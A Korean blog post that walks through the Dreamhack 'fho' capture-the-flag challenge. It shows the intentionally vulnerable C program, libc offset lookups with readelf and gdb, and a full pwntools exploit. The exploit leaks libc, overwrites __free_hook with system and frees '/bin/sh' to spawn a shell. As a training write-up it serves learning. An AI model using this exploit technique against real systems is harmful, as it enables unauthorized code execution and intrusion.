미역줄기의 이모저모

[ Dreamhack ] fho 본문

Hacking/Dremahack 문제풀이

[ Dreamhack ] fho

미역줄기줄기 2024. 2. 17. 20:52
728x90

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitrary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

 

 

 

코드 분석을 해보자

 puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  • 버퍼의 크기는 0x30으로 할당했기 때문에 이 부분에서 버퍼오버플로우가 발생한다. 

 

  puts("[2] Arbitrary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;
  • 주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.

 

 

 puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);
  • 주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.

 

공격수단

  1. 스택의 어떤 값을 읽을 수 있다.
  2. 임의 주소에 임의의 값을 쓸 수 있다.
  3. 임의 주소를 해제할 수 있다.

이 세 가지를 이용해서 셸을 획득할 수 있다.

 

공격 순서

  1. 라이브러리의 변수 및 함수들의 주소를 구한다.
  2. 셸 획득

__free_hook, system 함수, "/bin/sh" 문자열은 libc 파일에 정의되어 있으므로, 주어진 libc 파일로부터 이들의 오프셋을 얻을 수 있다.

 

$ readelf -sr libc-2.27.so | grep " __free_hook@"
0000003eaef0  00dd00000006 R_X86_64_GLOB_DAT 00000000003ed8e8 __free_hook@@GLIBC_2.2.5 + 0
   221: 00000000003ed8e8     8 OBJECT  WEAK   DEFAULT   35 __free_hook@@GLIBC_2.2.5

__free_hook 오프셋 = 0x3ed8e8

$ readelf -s libc-2.27.so | grep " system@"
  1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

system 함수 오프셋 = 0x4f550

$ strings -tx libc-2.27.so | grep "/bin/sh"
 1b3e1a /bin/sh

"/bin/sh" 오프셋 = 0x1b3e1a
  • __free_hook 오프셋 = 0x3ed8e8
  • system 함수 오프셋 = 0x4f550
  • "/bin/sh" 오프셋 = 0x1b3e1a

메모리 상에서 이들의 주소를 계산하려면, 프로세스에 매핑된 libc 파일의 베이스 주소를 알아야 한다. libc의 베이스 주소를 알면 거기에 오프셋을 더하여 메모리 상 주소를 구할 수 있다. 

 

공격수단 1번을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다. 

특히 main함수는 __libc_start_main 이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있다.

 

$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0  0x00005555555548be in main ()
#1  0x00007ffff7a05b97 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffc338, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffc328) at ../csu/libc-start.c:310
#2  0x00005555555547da in _start ()

 

또한 공격수단 2번을 이용하면 __free_hook의 값을 system함수의 주소로 덮어쓰고, 3번을 이용하여 "/bin/sh"를 해제하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있다.

 


보호기법

x86-64 아티텍처 => canary가 8바이트

canary가 있다 => 우회해야함

NX 적용 => rop 

PIE 적용 => 바이너리가 실행되는 메모리주소가 랜덤화된다.

 

 

 


Exploit

1. 라이브러리의 변수 및 함수들의 주소 구하기

main 함수의 반환 주소인 libc_start_main+x 를 leak 하여 libc base 주소를 구하고 변수 및 함수들의 주소를 계산한다.

 

main 함수는 라이브러리 함수인 __libc_start_main이 호출하므로, main 함수의 스택 프레임에는 __libc_start_main+x로 돌아갈 반환 주소가 저장되어 있을 것이다. __libc_start_main+x는 libc 영역 어딘가에 존재하는 코드이므로, __libc_start_main+x 의 주소를 leak한 후 해당 값에서 libc_start_main+x의 오프셋을 빼는 방식으로 프로세스 메모리에 매핑된 libc의 베이스 주소를 계산할 수 있다.

 

$ gdb fho
pwndbg> b *main
Breakpoint 1 at 0x8ba
pwndbg> r
pwndbg> bt
#0  0x00005625b14008ba in main ()
#1  0x00007f5ae2f1cc87 in __libc_start_main (main=0x5625b14008ba <main>, argc=1, argv=0x7ffdf39f3ed8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffdf39f3ec8) at ../csu/libc-start.c:310
#2  0x00005625b14007da in _start ()
pwndbg> x/i 0x00007f5ae2f1cc87
   0x7f5ae2f1cc87 <__libc_start_main+231>:  mov    edi,eax
pwndbg>

 

main 함수에 중단점을 설정한 후 실행한다. 그리고 main 함수에서 멈췄을 때, 모든 스택 프레임의 백트레이스를 출력하는 bt 명령어로 main 함수의 반환 주소를 알아낼 수 있다. x/i로 출력하면 __libc_start_main+231이다. 

 

#1부분을 보면 main 함수의 반환 주소는 0x00007f5ae2f1cc87 이다. 

 

readelf로 __libc_start_main+231의 오프셋을 구할 수 있다.

$ readelf -s libc-2.27.so | grep " __libc_start_main@"
  2203: 0000000000021b10   446 FUNC    GLOBAL DEFAULT   13 __libc_start_main@@GLIBC_2.2.5

--> __libc_start_main+231의 오프셋 = 0x21b10+231

 

따라서 main 함수의 반환 주소인 __libc_start_main+231 를 leak 한 후, 해당 값에서 0x21b10+231를 빼면 libc의 base 주소이다.

 

libc base 주소를 알았으니 __free_hook, system함수, "/bin/sh" 문자열의 주소 값도 계산이 가능해졌다!

 

 


Exploit code

from pwn import *

p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))

slog('libc_base', libc_base)
slog('system', system)
slog('free_hook', free_hook)
slog('/bin/sh', binsh)

# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())

# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())

p.interactive()

 

앞서 말한 과정이 모두 들어가 있는 코드이다. 쪼개서 보자면,

 

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
  • main을 디스어셈블 하면 buf =b'A'*0x48인 이유를 알 수 있을 것이다! 먼저 버퍼를 오버플로우 한다.

 

libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
  • 이제 main 함수의 스택 프레임에 있는 __libc_start_main+x로 돌아갈 반환 주소를 leak 한다.
  • 그리고 오프셋을 빼서 libc base의 주소를 구한다.
  • system, free_hook, "/bin/sh"의 주소를 구한다.
# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())
  • free_hook의 값을 system 함수의 주소로 오버라이트한다. 그렇게 되면 free_hook이 가리키는 함수가 실행되니까.. system 함수가 실행되게 된다!

 

# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())
  • "/bin/sh"를 free하여 system("/bin/sh")를 호출한다.

 

 

'Hacking > Dremahack 문제풀이' 카테고리의 다른 글

[ Dreamhack ] ssp_000  (1) 2024.02.24
[ Dreamhack ] out_of_bound  (0) 2024.02.20
[ Dreamhack ] basic_rop_x86  (0) 2024.02.16
[ Dreamhack ] basic_rop_x64  (0) 2024.02.16
[ Dreamhack ] rop  (2) 2024.02.11